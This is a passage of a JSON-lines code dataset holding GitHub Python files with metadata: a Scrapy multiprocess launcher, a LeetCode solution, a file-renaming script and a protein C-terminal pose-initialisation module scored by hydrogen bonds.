{"api_name": "torch.load", "line_number": 175, "usage_type": "call"}, {"api_name": "model.seq2seq.named_parameters", "line_number": 184, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 184, "usage_type": "name"}, {"api_name": "model.seq2seq.named_parameters", "line_number": 186, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 186, "usage_type": "name"}, {"api_name": "transformers.AdamW", "line_number": 189, "usage_type": "call"}, {"api_name": "model.seq2seq.train", "line_number": 192, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 192, "usage_type": "name"}, {"api_name": "model.seq2seq.zero_grad", "line_number": 193, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 193, "usage_type": "name"}, {"api_name": "model.seq2seq", "line_number": 206, "usage_type": "argument"}, {"api_name": "torch.cuda.empty_cache", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 207, "usage_type": "attribute"}, {"api_name": "model.seq2seq", "line_number": 208, "usage_type": "argument"}, {"api_name": "torch.cuda.empty_cache", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 209, "usage_type": "attribute"}, {"api_name": "model.seq2seq", "line_number": 213, "usage_type": "argument"}, {"api_name": "torch.cuda.empty_cache", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 214, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 216, "usage_type": "call"}, {"api_name": "model.seq2seq.state_dict", "line_number": 216, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 216, "usage_type": "name"}, {"api_name": "model.seq2seq", "line_number": 224, "usage_type": "argument"}]}
{"seq_id": "6022702079", "text": "#!/usr/bin/env python\n# encoding: utf-8 \n# @version: \n# @author: liduo\n# @license: \n# @file: start.py\n# @time: 2018/5/30 下午10:24\nfrom multiprocessing import Pool\nimport os\n\n\ndef run():\n    # 发送命令，启动一个爬虫\n    cmd = \"scrapy crawl bilibili_spider\"\n    os.system(cmd)\n\n\ndef main(number):\n    # 创建进程池\n    p = Pool(number)\n    for n in range(number):\n        p.apply_async(run)\n    p.close()\n    p.join()\n\n\nif __name__ == '__main__':\n    import sys\n\n    # 接收传入的参数，代表开启几个scrapy-redis进程\n    num = sys.argv[1]\n    num = int(num)\n    print(\"开启[%s]个进程\" % num)\n    main(num)\n    print(\"进程结束\")\n", "repo_name": "Wangler2333/bilibili_video_stat", "sub_path": "bilibili/start.py", "file_name": "start.py", "file_ext": "py", "file_size_in_byte": 666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 59, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.system", "line_number": 15, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}]}
{"seq_id": "70109711591", "text": "from typing import List\n\n\nclass CheckIfNAndItsDoubleExist:\n    def checkIfExist(self, arr: List[int]) -> bool:\n        mySet = set()\n        for n in arr:\n            if (n * 2 in mySet) or (n % 2 == 0 and n / 2 in mySet):\n                return True\n            mySet.add(n)\n        return False\n\n\ncheck = CheckIfNAndItsDoubleExist()\narray = [1, 4, 3, 5]\nresult = check.checkIfExist(array)\nprint(result)\n", "repo_name": "egch/helloPython", "sub_path": "src/leetcode/2023/CheckIfNAndItsDoubleExist.py", "file_name": "CheckIfNAndItsDoubleExist.py", "file_ext": "py", "file_size_in_byte": 405, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]}
{"seq_id": "8893889722", "text": "from pathlib import Path\n\nroot_dir = Path('d:/python/Automation/RestAPI-Example/PathFiles/Example1/files/') #memanggil file yg otomatis akan dilakukan rename\nfile_paths = root_dir.iterdir() #fungsi iterdir ini mengembalikan nilai true jika file yang dipanggil sebelumnya memang ada disuatu direktori\nprint(Path.cwd()) #ini akan me return/mengembalikan object dimana berisi jalur yang mewakili direktori yang saat ini sedang digunakan\nfor path in file_paths:\n  new_filename = \"new-\" + path.stem + path.suffix #menambahkan keyword new sebelum nama file yang sebelumnya pernah dibuat\n  new_filepath = path.with_name(new_filename)\n  print(new_filepath) #mencetak hasil rename suatu file tersebut\n  path.rename(new_filepath) #rename suatu file\n\n", "repo_name": "U171N/Learning_AutomationPython", "sub_path": "PathFiles/Example1/RenameFile.py", "file_name": "RenameFile.py", "file_ext": "py", "file_size_in_byte": 740, "program_lang": "python", "lang": "id", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 3, "usage_type": "call"}, {"api_name": "pathlib.Path.cwd", "line_number": 5, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 5, "usage_type": "name"}]}
{"seq_id": "24897501342", "text": "import HBond\nfrom ZMAT import zmatObj,zmatName\nfrom KDTree import KDTree\nfrom PoseScorer import splitAtomsIntoChains,getTargetDict\nfrom BaseWaters import getHBDandHBA,getAcceptorStem,getPlaneStem\nimport math\nimport Counter\nimport multiprocessing\nMinDist = 1.0\nMaxDist = 2.8\nOCbondLength = 1.23\nCarbonylAtom = 4\n\nCD = (30,37,1)\nCA = (90,179,1)\nCT = (0,359,1)\n'''\nCD = (30,31,1)\nCA = (100,112,1)\nCT = (70,90,1)\n'''\n\nCaA = (140,179,10)\nCaT = (0,359,30)\nOT = (0,179,30)\n'''\nCD = (30,37,1)\nCA = (90,179,5)\nCT = (0,359,5)\nCaA = (140,179,10)\nCaT = (0,359,30)\nOT = (0,179,45)\n'''\nHB_IdealDistance = 1.9\nHB_Scaling = 2\ndef hbDistEnergy(dist,base):\n    e_by_dist = base*math.exp(-(HB_Scaling*(dist-HB_IdealDistance)**2))\n    return e_by_dist\ndef initCTerminal(step,cons,targetAll):\n    print(\"\\n\\n\")\n    from Fixvar import Fixvar,FixvarPoses\n    getOutDotPDB(cons)\n    \n    cores = cons[\"cores\"]\n    tasks = multiprocessing.JoinableQueue()\n    results = multiprocessing.Queue()\n    workers = [BestAngleFinder(step,cons,targetAll,tasks,results) for i in range(cores)]\n    first = workers[0]\n    \n    cLocs = first.getCarbonylLocations()\n    numberOfPoses = len(cLocs)\n    countDisp = Counter.Counter(len(cLocs),\"%d/%d   initial\")\n    count = 0\n    newFxvr = Fixvar(None)\n    newFxvr.atom = [4,4,4,5,5,8,6]\n    newFxvr.kind = [2,1,0,1,0,0,0]\n    headerZmatName = zmatName(step)\n    headStr = \"%8s %s\"%(len(newFxvr.kind),headerZmatName)\n    newFxvr.header = [headStr]\n    print(\"There are %i cLocs\"%len(cLocs))\n\n    allUnique = set()\n    BUFFER = 300\n    fed = 0\n    recieved = 0\n    while (fed < BUFFER) and (fed < numberOfPoses):\n        poseGeoFeed = cLocs[fed]\n        tasks.put(poseGeoFeed)\n        fed+=1\n    for w in workers:\n        w.prepareAtoms()\n        w.start()\n    #input(\"Extendibility Cull loaded and prepared\")\n    countDisp = Counter.Counter(numberOfPoses,\"%d/%d CTerminal Initiation\")\n    count = 0\n    backPoses = []\n    while (recieved < numberOfPoses):\n        if (tasks.qsize() < BUFFER):\n            if (fed < numberOfPoses):\n                poseGeoFeed = cLocs[fed]\n                tasks.put(poseGeoFeed)\n                fed+=1            \n            elif (fed < numberOfPoses + cores):\n                tasks.put(None)\n                fed+=1\n        if not results.empty():\n            comm = results.get()\n            if (comm is not None):\n                backPoses+=comm\n                count+=len(comm)\n            recieved+=1\n            countDisp.disp(recieved)\n    print(\"Poses created: %i, now culling\"%count)\n    backPoses = sorted(backPoses,key = lambda x: x[1])\n    finalPoses = []\n    cutoff = step.get(\"energyCutoff\",0.8)\n    i = 0\n    maxEnergy = backPoses[0][1]\n    for i in range(len(backPoses)):\n        pose = backPoses[i]\n        frac = pose[1] / maxEnergy\n        if (frac < cutoff):\n            break\n        finalPoses.append(pose[0])\n    \n    print(\"Final count: \",i)    \n    for fp in finalPoses:\n        newFxvr.poses.append(FixvarPoses(fp,0))\n    newFxvr.sortByAngles()\n    newFxvr.createApprovedFixvar(\"fixvar.out\")\ndef getOutDotPDB(cons):\n    import os\n    import shutil\n    import TMD\n    top = os.getcwd()\n    currentFolder = \"%s/TMD\"%top\n    try:\n        os.stat(currentFolder)\n    except:\n        os.mkdir(currentFolder)\n    os.chdir(currentFolder)\n\n    step = {\"type\":\"TMD\",\n         \"sequence\":\"G\",\n         \"zsequence\":\"G#\",\n         \"folder\":\"1-G\",\n         \"zmatSuffix\":\"_aa1\",\n         \"nclsrs\":0,\n         \"numFixvar\":0,\n         \"nDistanceCheck\":0,\n         \"reverse\":0,\n         \"variableTorsions\":[],\n         \"criteria\":[]}\n    \n    TMD.runTMD(cons,step,None)\n    shutil.copy(\"out.pdb\",\"%s/out.pdb\"%top)\n    os.chdir(top)\n    shutil.rmtree(currentFolder)\nclass BestAngleFinder(multiprocessing.Process):\n    def __init__(me,step,cons,targetAll,task_queue,result_queue):\n        multiprocessing.Process.__init__(me)\n        me.cons = cons\n        me.step = step\n        me.targetAll = targetAll\n        me.targetAll.makeDictionary()\n        me.targetTree = KDTree.loadAtomArray(list(filter(lambda x: not x.isHydrogen(),targetAll.atoms)))\n        me.centerResNum = step[\"centerResidue\"]\n        me.referenceResNums = step[\"referenceResidues\"]\n        \n        if (me.centerResNum not in me.referenceResNums):\n            me.referenceResNums.append(me.centerResNum)\n        for rNum in me.referenceResNums:\n            #print(targetAll.getSpecificAtom(rNum,\"N\").toPDBLine())\n            me.targetAll.implyHydrogen(rNum)\n        targetByChain = splitAtomsIntoChains(me.targetAll.atoms)\n        me.tRes = getTargetDict(targetByChain,True)\n        acceptorList,donorList = getHBDandHBA(cons)\n        me.donorTree = KDTree.loadAtomArray(donorList)\n        me.acceptorTree = KDTree.loadAtomArray(acceptorList)\n\n        me.tpChain = step.get(\"chain\",None)\n        if (me.tpChain is None):\n            if (len(cons[\"targetProteinChain\"]) == 1):\n                me.tpChain = cons[\"targetProteinChain\"][0]\n            else:\n                raise Exception(\"No chain given for initiator routine and none can be assumed\")\n        me.tpDist = targetAll.getSpecificAtom(me.centerResNum,\"N\")\n        me.tpAng = targetAll.getSpecificAtom(me.centerResNum,\"CA\")\n        me.tpTor = targetAll.getSpecificAtom(me.centerResNum,\"C\")\n\n        me.zmatObj = zmatObj(step)\n\n\n        me.task_queue = task_queue\n        me.result_queue = result_queue\n    def getCarbonylLocations(me):\n        C = me.zmatObj.getAtomData(1,\"C\",True)\n        good = []\n        cMin = int(10*(OCbondLength + MinDist))\n        cMax = int(10*(OCbondLength + MaxDist))\n        ###XXX\n        cMin = CD[0]\n        cMax = CD[1]\n        for intDist in range(cMin,cMax+1):\n            dist = intDist / 10.0\n            for ang in range(CA[0],CA[1]+1,CA[2]):\n                for tor in range(CT[0],CT[1]+1,CT[2]):\n                    geo = (intDist,ang,tor)\n                    C.setAtomLocationByZMAT(me.tpDist,me.tpAng,me.tpTor,dist,ang,tor)\n                    neigh, closestDist = me.targetTree.nearestNeighbor(C.location,True)\n                    if (closestDist > me.cons[\"clashLimit\"]):\n                        good.append(geo)\n        return good\n    def prepareAtoms(me):\n        me.C = me.zmatObj.getAtomData(1,\"C\",True)\n        \n        me.CAdata = me.zmatObj.getAtomData(1,\"CA\")\n        me.CA = me.CAdata.generateAtom(2)\n        \n        me.Odata = me.zmatObj.getAtomData(1,\"O\")\n        me.O = me.Odata.generateAtom(4)\n        \n        me.OXTdata = me.zmatObj.getAtomData(1,\"OXT\")\n        me.OXT = me.OXTdata.generateAtom(5)\n\n        me.Ndata = me.zmatObj.getAtomData(1,\"N\")\n        me.N = me.Ndata.generateAtom(5)\n        \n        me.Hdata = me.zmatObj.getAtomData(1,\"H\")\n        me.H = me.Hdata.generateAtom(5)\n\n        me.tpHlist = []\n        for rNum in me.referenceResNums:\n            H = me.targetAll.getSpecificAtom(rNum,\"H\")\n            N = me.targetAll.getSpecificAtom(rNum,\"N\")\n            me.tpHlist.append((H,N))\n    def run(self):\n        HBond.HBond.feedConstants(self.cons)\n        while(True):\n            next_task = self.task_queue.get()\n            if next_task is None:\n                # Poison pill means shutdown\n                #print ('%s: Exiting' % self.name)\n                self.task_queue.task_done()\n                break\n            geo = next_task\n            result = self.bestAngles(geo)\n            self.result_queue.put(result)\n        return\n    def bestAngles(me,geo):\n        import time\n        sTime = time.time()\n        bestScore = 0\n        bestGeo = (None,None)\n        me.C.setAtomLocationByZMAT(me.tpDist,me.tpAng,me.tpTor,geo[0] / 10.0,geo[1],geo[2])\n        #print(geo)\n        interest = []\n        total = 0\n        for ang in range(CaA[0],CaA[1]+1,CaA[2]):  \n            for tor in range(CaT[0],CaT[1]+1,CaT[2]):\n                relocateAtom(me.CA,me.CAdata,me.C,me.tpDist,me.tpAng,tor,ang)\n                '''\n                oRange = me.OSpread()\n                print(oRange)\n                for oTor in range(oRange[0],oRange[1]+1,OT[2]):\n                '''\n                for oTor in range(OT[0],OT[1]+1,OT[2]):\n                    total+=1\n                    relocateAtom(me.O,me.Odata,me.C,me.CA,me.tpDist,oTor)\n                    relocateAtom(me.OXT,me.OXTdata,me.C,me.CA,me.O)\n                    NOcontacts,HB_Score = me.numberNOContacts()\n                    #print(NOcontacts,oTor)\n                    if (NOcontacts >= 3):\n                        interest.append((ang,tor,oTor,HB_Score,NOcontacts))\n                    #me.dumpPose(\"Overlay.pdb\",[me.C,me.O,me.OXT,me.CA])\n                #print(noClash,attempt,total)\n        if (len(interest) == 0):\n            return None\n        interest = sorted(interest,key = lambda x: x[3])\n        bestScore = interest[0][3]\n        interest = list(filter(lambda x : x[3] < bestScore * .75,interest))\n        interest = uniqueCA(interest)\n        for i in range(len(interest)):\n            pose = interest[i]\n            optPose = me.optimizePose(pose)\n            interest[i] = optPose\n            #input(\"\\n\\n\")\n        interest = sorted(interest,key = lambda x: x[3])      \n        interest = uniqueCA(interest)\n        #print(\"Time \",time.time()-sTime)\n\n        if not allUnique(interest):\n            print(\"Pose has uniqueness issues after optimization\")\n            for repose in interest:\n                print(repose)\n        #print(\"Best Geo \",bestGeo)\n\n\n        for i in reversed(range(3)):\n            interest = sorted(interest,key = lambda x: x[i])\n\n        '''\n        groups = []\n        currentGroup = []\n        for pose in interest:\n            if (len(currentGroup) == 0):\n                currentGroup.append(pose)\n            else:\n                for i in reversed(range(3)):\n                    match = False\n                    for member in currentGroup:\n                        match = match or (abs(member[i] - pose[i]) <= 5)\n                    if not match:\n                        break\n                if match:\n                    currentGroup.append(pose)\n                else:\n                    groups.append(currentGroup)\n                    currentGroup = [pose]\n        if (len(currentGroup) > 0):\n            groups.append(currentGroup)\n        '''\n        groups = []\n        for pose in interest:\n            match = False\n            for curGroup in groups:\n                for i in reversed(range(3)):\n                    match = False\n                    for member in curGroup:\n                        match = match or (abs(member[i] - pose[i]) <= 5)\n                    if not match:\n                        break\n                if match:\n                    curGroup.append(pose)\n                    break\n            if not match:\n                groups.append([pose])\n        '''\n        for i in range(len(groups)):\n            print(\"Group \",i)\n            A = groups[i]\n            for B in A:\n                print(\"\\t\",B)\n        '''\n        final = []\n        for g in groups:\n            final.append(min(g,key = lambda x:x[3]))\n                        \n        #print(len(final),\" vs \",len(interest))       \n        #print(\"Final\")\n        withN = []\n        for i in range(len(final)):   \n            bestGeo = final[i]\n            #print(\"\\t\",bestGeo)\n            withN+=me.seekN(geo+bestGeo)\n        return withN\n    def optimizePose(me,pose):\n        caAng = pose[0]\n        caTor = pose[1]\n        oTor = pose[2]\n        val = pose[3]\n        change = True\n        relocateAtom(me.CA,me.CAdata,me.C,me.tpDist,me.tpAng,pose[1],pose[0])\n        oTor,val = me.optimize(pose,2)\n        curPose = (caAng,caTor,oTor,val)\n        #print(\"First O \",oTor,val)\n        roundCount = 1\n        \n        while(change):\n            change = False\n            #print(\"\\nRound %i\"%roundCount)\n            #print(curPose)\n            #print(\"\\t\\t\",me.CA.location)\n            #print(\"\\t\\t\",me.O.location)\n            roundCount+=1\n            priorVal = curPose[3]\n            caAng,val = me.optimize(curPose,0)\n            #print(\"\\t\\t\",me.CA.location)\n            #print(\"\\t\\t\",me.O.location)\n            curPose = (caAng,caTor,oTor,val)\n            #print(\"CA \",caAng,val)\n            oTor,val = me.optimize(curPose,2)\n            curPose = (caAng,caTor,oTor,val)\n            #print(\"CA O \",oTor,val)\n            if (val - priorVal < -1):\n                change = True\n\n            priorVal = curPose[3] \n            caTor,val = me.optimize(curPose,1)\n            curPose = (caAng,caTor,oTor,val)\n            #print(\"caT \",caTor,val)\n            oTor,val = me.optimize(curPose,2)\n            curPose = (caAng,caTor,oTor,val)\n            #print(\"caT O \",oTor,val)\n            if (val - priorVal < -1):\n                change = True\n            #print(\"\\t\\t\",me.O.location)\n        return curPose\n        \n        \n    def OSpread(me):\n        low = None\n        high = None\n        for i in range(len(me.tpHlist)):\n            H,N = me.tpHlist[i]\n            relocateAtom(me.O,me.Odata,me.C,me.CA,H,0)\n            tor = int(me.O.torsion(me.C,me.CA,me.tpDist)) % 180\n            print(\"\\t\",tor)\n            '''\n            if (tor == 0):\n                relocateAtom(me.OXT,me.OXTdata,me.C,me.CA,me.O)\n                me.dumpPose(\"OSeekZero.pdb\",[me.C,me.O,me.OXT,me.CA])\n            '''\n            if (low is None):\n                low = tor\n                high = tor\n            if (tor < low):\n                low = tor\n            if (tor > high):\n                high = tor\n        print(\"LH \",low,high)\n        input(\"\\n\")\n        return (max(low - 20,0),min(high + 20,179))\n    def seekN(me,geo):\n        priorAngles = 6\n        me.C.setAtomLocationByZMAT(me.tpDist,me.tpAng,me.tpTor,geo[0] / 10.0,geo[1],geo[2])\n        relocateAtom(me.CA,me.CAdata,me.C,me.tpDist,me.tpAng,geo[4],geo[3])\n        relocateAtom(me.O,me.Odata,me.C,me.CA,me.tpDist,geo[5])\n        relocateAtom(me.OXT,me.OXTdata,me.C,me.CA,me.O)\n        dist = me.Ndata.dist\n        contacts = me.acceptorTree.radiusSearch(me.CA.location,me.cons[\"hBondDistCutoff\"]+dist,True)\n        #print(me.H.location)\n        #input(me.H)\n        tors = []\n        for con,conDist in contacts:\n            if (conDist < (0.75 + dist)):\n                continue\n            relocateAtom(me.N,me.Ndata,me.CA,me.C,con,0)\n            seek = getAcceptorStem(con.residueType,con.atomType)\n            planeSeek = getPlaneStem(con.residueType,con.atomType)\n            if (planeSeek is None):\n                planeStem = None\n            else:\n                planeStem = me.tRes[con.chain][con.residueNumber][planeSeek]\n            conStem = me.tRes[con.chain][con.residueNumber][seek]\n            me.H.setAtomLocationByZMAT(me.N,me.CA,con,1.01,120.0,0)\n            if not me.clash([me.C,me.CA,me.O,me.OXT,me.N]):\n                hb = HBond.evaluatePotentialHydrogenBond(me.N,con,planeStem,conStem,con,me.H,me.N)\n                if (hb.good):\n                    nTorsion = int(me.N.torsion(me.CA,me.C,me.tpDist))\n                    if (nTorsion not in tors):\n                        tors.append(nTorsion)\n        results = []\n        if (len(tors) > 0):\n            seekResults = list(map(lambda x : ((geo[:priorAngles]+(x,)),geo[priorAngles]),tors))\n            results+=seekResults\n        \n        for ntor in range(0,359,me.step[\"NGrain\"]):\n            newGeo = (geo[:priorAngles]+(ntor,))\n            entry = (newGeo,geo[priorAngles])\n            if (newGeo not in results):\n                results.append(entry)\n        return results\n    def optimize(me,pose,column):\n        def scoreTor(checkTor):\n            if (column == 2):\n                #print(\"\\t\\tCheck \",checkTor)\n                \n                relocateAtom(me.O,me.Odata,me.C,me.CA,me.tpDist,checkTor)\n                relocateAtom(me.OXT,me.OXTdata,me.C,me.CA,me.O)\n                #print(\"\\t\\t\",me.O.location)\n            else:\n                if(column == 1):\n                    relocateAtom(me.CA,me.CAdata,me.C,me.tpDist,me.tpAng,checkTor,pose[0])\n                else:\n                    #print(\"\\t\",checkTor,pose[0])\n                    #print(\"\\t\",me.CA.location)\n                    relocateAtom(me.CA,me.CAdata,me.C,me.tpDist,me.tpAng,pose[1],checkTor)\n                    #print(\"\\t\",me.CA.location)\n                relocateAtom(me.O,me.Odata,me.C,me.CA,me.tpDist,pose[2])\n                relocateAtom(me.OXT,me.OXTdata,me.C,me.CA,me.O)\n            return me.numberNOContacts()[1]\n        def sanitize(tor):\n            if (column == 1):\n                return tor % 360\n            if (tor < 1):\n                return 1\n            if (tor > 179):\n                return 179\n            return tor\n        startTor = pose[column]\n        centerVal = scoreTor(startTor)\n        leftTor = sanitize(startTor-1)\n        leftVal = scoreTor(leftTor)\n        rightTor = sanitize(startTor+1)\n        rightVal = scoreTor(rightTor)\n        #print(\"\\n\\n\")\n        '''\n        if (column == 2):\n            print(\"\\t\\t\",pose)\n            print(\"\\t\\t\",leftTor,startTor,rightTor)\n            print(\"\\t\\t%5.1f, %5.1f, %5.1f\"%(leftVal,centerVal,rightVal))\n        '''\n        increment = 0\n        if (centerVal <= leftVal) and (centerVal <= rightVal):\n            return startTor,scoreTor(startTor)\n        if (rightVal < centerVal):\n            if (rightVal < leftVal):\n                increment = 1\n                curTor = rightTor\n                curVal = rightVal\n            if (leftVal < rightVal):\n                increment = -1\n                curTor = leftTor\n                curVal = leftVal\n        elif (leftVal < centerVal):\n            increment = -1\n            curTor = leftTor\n            curVal = leftVal\n        if (increment == 0):\n            if (leftTor == rightTor):\n                if (rightTor <= startTor):\n                    increment = -1\n                    curTor = leftTor\n                    curVal = leftVal\n                elif (leftTor >= startTor):\n                    increment = 1\n                    curTor = rightTor\n                    curVal = rightVal\n        if (increment == 0):\n            raise Exception(\"Logical case not considered %5.1f,%5.1f,%5.1f\"%(leftVal,centerVal,rightVal))\n        \n        while(True):\n            newTor = sanitize(curTor + increment)\n            if (newTor == curTor):\n                return curTor,scoreTor(curTor)\n            newVal = scoreTor(newTor)\n            #print(\"\\t\",newTor,newVal)\n            if (newVal >= curVal):\n                return curTor,scoreTor(curTor)\n            curTor = newTor\n            curVal = newVal\n        \n            \n    def clash(me,atomList = None):\n        if (atomList is None):\n            atomList = [me.C,me.CA,me.O,me.OXT,me.N]\n        for atm in atomList:\n            neigh, closestDist = me.targetTree.nearestNeighbor(atm.location,True)\n            if (closestDist <= me.cons[\"clashLimit\"]):\n                return True\n        return False\n    def numberNOContacts(me,debug=False):\n        con = 0\n        score = 0.0\n        for atm in [me.O,me.OXT]:\n            for i in range(len(me.tpHlist)):\n                H,N = me.tpHlist[i]\n                dist = H.distance(atm)\n                if (dist >= MinDist) and (dist <= MaxDist):\n                    V1 = H.location.difference(N.location)\n                    VHO = H.location.difference(atm.location)\n                    cosNHO = V1.cosTwoVectors(VHO)\n                    if (cosNHO < 0):\n                        cAng = me.C.angle(atm,H)\n                        if (cAng > 100):             \n                            V2 = atm.location.difference(me.C.location)\n                            vectorCos = V1.dotProduct(V2) / (V1.magnitude() * V2.magnitude())\n                            if (vectorCos < 0):\n                                V3 = me.C.location.difference(me.CA.location)\n                                planeNormal = V2.crossProduct(V3)\n                                pnSin = math.sin(math.radians(planeNormal.angle(V1)))\n                                geoScale = (pnSin * cosNHO)**2\n                                hbEnergy = hbDistEnergy(dist,me.cons[\"directHBond\"]) * geoScale\n                                score+= hbEnergy\n                                if (debug):\n                                    print(\"\\t%s->%s %2.2f, %5.1f, %5.1f\"%(atm,N,geoScale,hbEnergy,score))\n                                    print(\"\\t%5.1f, %2.2f, %2.2f\"%(hbDistEnergy(dist,me.cons[\"directHBond\"]),cosNHO,pnSin))\n                                con+=1\n        if HBond.useCTerminalElectrostatic:\n            for i in range(len(me.tpHlist)):\n                H,N = me.tpHlist[i]\n                dist1 = H.distance(me.O)\n                dist2 = H.distance(me.OXT)\n                dist = 0.5 * (dist1 + dist2)\n                if (dist >= MinDist) and (dist <= MaxDist):\n                    V1 = H.location.difference(N.location)\n                    VHO = H.location.difference(me.C.location)\n                    cosNHO = V1.cosTwoVectors(VHO)\n                    if (cosNHO < 0):\n                        cAng = me.CA.angle(atm,H)\n                        if (cAng > 100):\n                            V2 = atm.location.difference(me.C.location)\n                            vectorCos = V1.dotProduct(V2) / (V1.magnitude() * V2.magnitude())\n                            if (vectorCos < 0):\n                                V3 = me.C.location.difference(me.CA.location)\n                                planeNormal = V2.crossProduct(V3)\n                                pnSin = math.sin(math.radians(planeNormal.angle(V1)))\n                                geoScale = (pnSin * cosNHO)**2\n                                hbEnergy = hbDistEnergy(dist,me.cons[\"directHBond\"]) * geoScale\n                                score+= hbEnergy\n                                if (debug):\n                                    print(\"\\t%s->%s %2.2f, %5.1f, %5.1f\"%(atm,N,geoScale,hbEnergy,score))\n                                    print(\"\\t%5.1f, %2.2f, %2.2f\"%(hbDistEnergy(dist,me.cons[\"directHBond\"]),cosNHO,pnSin))\n                                con+=1\n        return con,score          \n    def dumpPose(me,filename,atomList):\n        if (atomList is None):\n            atomList = [me.C,me.CA,me.O,me.OXT,me.N,me.H]\n        outf = open(filename,'a')\n        for atm in atomList:\n            outf.write(\"%s\\n\"%atm.toPDBLine())\n        outf.write(\"TER\\n\")\n        outf.close()\ndef relocateAtom(atm,data,aDist,aAng,aTor,tor = None, ang = None,dist = None):\n    if (dist is None):\n        dist = data.dist\n    if (ang is None):\n        ang = data.ang\n    if (tor is None):\n        tor = data.tor\n    atm.setAtomLocationByZMAT(aDist,aAng,aTor,dist,ang,tor)            \ndef uniqueCA(ary):\n    unique = set()\n    ret = []\n    for pose in ary:\n        key = pose[:2]\n        if key not in unique:\n            ret.append(pose)\n            unique.add(key)\n    return ret\ndef allUnique(ary):\n    unique = set(ary)\n    if (len(unique) != len(ary)):\n        return False\n    return True\nif __name__ == \"__main__\":\n    for x in range(0,50):\n        d = x / 10.0\n        print(d,\"%4.1f\"%energy(d,-1200))\n    '''\n    for n in range(CD[0],CD[1],CD[2]):\n        print(n)\n    '''\n", "repo_name": "Dabrill/HaworthLab", "sub_path": "EXSAN/Initializer.py", "file_name": "Initializer.py", "file_ext": "py", "file_size_in_byte": 23119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "math.exp", "line_number": 37, "usage_type": "call"}, {"api_name": "multiprocessing.JoinableQueue", "line_number": 45, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 46, "usage_type": "call"}, {"api_name": "Counter.Counter", "line_number": 52, "usage_type": "call"}, {"api_name": "Fixvar.Fixvar", "line_number": 54, "usage_type": "call"}, {"api_name": "ZMAT.zmatName", "line_number": 57, "usage_type": "call"}, {"api_name": "Counter.Counter", "line_number": 74, "usage_type": "call"}, {"api_name": "Fixvar.FixvarPoses", "line_number": 108, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 115, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 118, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 120, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 121, "usage_type": "call"}, {"api_name": "TMD.runTMD", "line_number": 135, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 136, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 137, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 138, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 139, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process.__init__", "line_number": 141, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 141, "usage_type": "attribute"}, {"api_name": "KDTree.KDTree.loadAtomArray", "line_number": 146, "usage_type": "call"}, {"api_name": "KDTree.KDTree", "line_number": 146, "usage_type": "name"}, {"api_name": "PoseScorer.splitAtomsIntoChains", "line_number": 155, "usage_type": "call"}, {"api_name": "PoseScorer.getTargetDict", "line_number": 156, "usage_type": "call"}, {"api_name": "BaseWaters.getHBDandHBA", "line_number": 157, "usage_type": "call"}, {"api_name": "KDTree.KDTree.loadAtomArray", "line_number": 158, "usage_type": "call"}, {"api_name": "KDTree.KDTree", "line_number": 158, "usage_type": "name"}, {"api_name": "KDTree.KDTree.loadAtomArray", "line_number": 159, "usage_type": "call"}, {"api_name": "KDTree.KDTree", "line_number": 159, "usage_type": "name"}, {"api_name": "ZMAT.zmatObj", "line_number": 171, "usage_type": "call"}, {"api_name": "HBond.HBond.feedConstants", "line_number": 218, "usage_type": "call"}, {"api_name": "HBond.HBond", "line_number": 218, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 232, "usage_type": "call"}, {"api_name": "BaseWaters.getAcceptorStem", "line_number": 419, "usage_type": "call"}, {"api_name": "BaseWaters.getPlaneStem", "line_number": 420, "usage_type": "call"}, {"api_name": "HBond.evaluatePotentialHydrogenBond", "line_number": 428, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 552, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 552, "usage_type": "call"}, {"api_name": "HBond.useCTerminalElectrostatic", "line_number": 560, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 578, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 578, "usage_type": "call"}]}
